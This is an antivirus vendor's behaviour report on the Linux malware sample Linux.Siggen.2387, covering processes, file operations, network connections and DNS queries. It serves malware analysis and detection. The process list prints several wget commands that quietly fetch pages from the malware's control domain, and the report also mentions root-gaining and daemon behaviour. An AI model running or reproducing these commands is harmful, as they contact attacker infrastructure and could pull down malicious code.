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Linux.Siggen.2387

Added to the Dr.Web virus database: 2020-02-19

Virus description added:

Technical Information

Malicious functions:
Gains root privileges
Launches itself as a daemon
Launches processes:
  • /bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/sh <SAMPLE_FULL_PATH> -c
  • wget specialdepo.tk/sistem/duyuru.php -q -O -
  • wget specialdepo.tk/sistem/tarih.php -q -O -
  • wget specialdepo.tk/panel/ban/.php -q -O -
  • wget specialdepo.tk/sistem/mesaj.php -q -O -
  • wget specialdepo.tk/Special/sinalfalink.php -q -O -
  • wget specialdepo.tk/Special/liblink.php -q -O -
  • clear
  • grep ^NAME
  • grep CentOS
  • cat /etc/os-release
  • apt-get update -y
  • /usr/bin/dpkg --print-foreign-architectures
  • /usr/lib/apt/methods/http
  • /usr/lib/apt/methods/gpgv
  • /usr/bin/gpgv #3 ##/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg ##/etc/apt/trusted.gpg.d/debian-archive-squeeze-automatic.gpg ##/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg ##/etc/apt/trusted.gpg.d/debian-archive-squeeze-stable.gpg ##/etc/apt/trusted.gpg.d/debian-archive-wheezy-stable.gpg ##/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg ##/etc/apt/trusted.gpg.d/debian-archive-wheezy-automatic.gpg /tmp/apt.sig.gp7lXl /tmp/apt.data.TZ8SMM
  • /usr/lib/apt/methods/gzip
  • /usr/lib/apt/methods/bzip2
  • /usr/bin/gpgv #3 ##/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg ##/etc/apt/trusted.gpg.d/debian-archive-squeeze-automatic.gpg ##/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg ##/etc/apt/trusted.gpg.d/debian-archive-squeeze-stable.gpg ##/etc/apt/trusted.gpg.d/debian-archive-wheezy-stable.gpg ##/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg ##/etc/apt/trusted.gpg.d/debian-archive-wheezy-automatic.gpg /tmp/apt.sig.SXPnwv /tmp/apt.data.DGhTRY
  • apt-get install curl -y
Kills the following processes:
  • /usr/lib/apt/methods/http
  • /usr/lib/apt/methods/gpgv
  • /usr/lib/apt/methods/gzip
  • /usr/lib/apt/methods/bzip2
Performs operations with the file system:
Modifies file access rights:
  • /var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie-updates_InRelease
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_source_Sources.gz.decomp.BG76RK
  • /var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie-updates_main_source_Sources
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_binary-amd64_Packages.gz.decomp.Z9wrbh
  • /var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie-updates_main_binary-amd64_Packages
  • /var/cache/apt/pkgcache.bin.XAuj4C
Creates or modifies files:
  • /var/lib/apt/lists/lock
  • /var/lib/apt/lists/security.debian.org_dists_jessie_updates_InRelease
  • /var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie-updates_InRelease
  • /var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie_Release.gpg
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_InRelease
  • /var/lib/apt/lists/partial/security.debian.org_dists_jessie_updates_InRelease
  • /tmp/apt.sig.gp7lXl
  • /tmp/apt.data.TZ8SMM
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie_Release.gpg
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie_Release
  • /tmp/fileutl.message.5lCQf7
  • /tmp/fileutl.message.5lCQf7 (deleted)
  • /tmp/apt.sig.SXPnwv
  • /tmp/apt.data.DGhTRY
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_source_Sources.gz
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_source_Sources.gz.decomp.BG76RK
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_binary-amd64_Packages.gz
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_source_Sources.gz.decomp
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_binary-amd64_Packages.gz.decomp.Z9wrbh
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_binary-amd64_Packages.gz.decomp
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_i18n_Translation-en.bz2
  • /var/lib/dpkg/lock
  • /var/cache/apt/pkgcache.bin.XAuj4C
Deletes files:
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie_Release.gpg
  • /tmp/apt.sig.gp7lXl
  • /tmp/apt.data.TZ8SMM
  • /tmp/fileutl.message.5lCQf7
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_source_Sources
  • /var/lib/apt/lists/partial/ftp.ru.debian.org_debian_dists_jessie-updates_main_binary-amd64_Packages
  • /tmp/apt.sig.SXPnwv
  • /tmp/apt.data.DGhTRY
  • /var/cache/apt/pkgcache.bin
  • /var/cache/apt/srcpkgcache.bin
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 21#.##6.149.233:80
  • 21#.##1.132.250:80
  • 12#.#1.0.63:80
  • 12#.##1.240.215:80
  • 20#.##.202.197:80
  • 12#.##.240.73:80
  • [2#######8:dc41:100::233]:80
  • [2#########:1:216:35ff:fe7f:6ceb]:80
  • [2#####e42:14::204]:80
HTTP GET requests:
  • sp########o.tk/sistem/duyuru.php
  • sp#######po.tk/sistem/tarih.php
  • sp#######po.tk/panel/ban/.php
  • sp#######po.tk/sistem/mesaj.php
  • sp#########.tk/Special/sinalfalink.php
  • sp########o.tk/Special/liblink.php
  • ft#.##.######.org/debian/dists/jessie/InRelease
  • se######.#####n.org/dists/jessie/updates/InRelease
  • ft#.##.######.#rg/debian/dists/jessie-updates/InRelease
  • se##########.##bian.org/dists/jessie/updates/InRelease
  • ft#.##.######.org/debian/dists/jessie/Release.gpg
  • ft#.##.######.org/debian/dists/jessie/Release
  • ft#.##.######.#####ebian/dists/jessie-updates/main/source/Sources.gz
  • ft#.##.######.######bian/dists/jessie-updates/main/binary-amd64/Packages.gz
  • ft#.##.######.######bian/dists/jessie-updates/main/i18n/Translation-en.bz2
DNS ASK:
  • sp###aldepo.tk
  • ft#.##.debian.org
  • se####ty.debian.org
  • se#####y-cdn.debian.org
Other:
Collects RAM information

Curing recommendations


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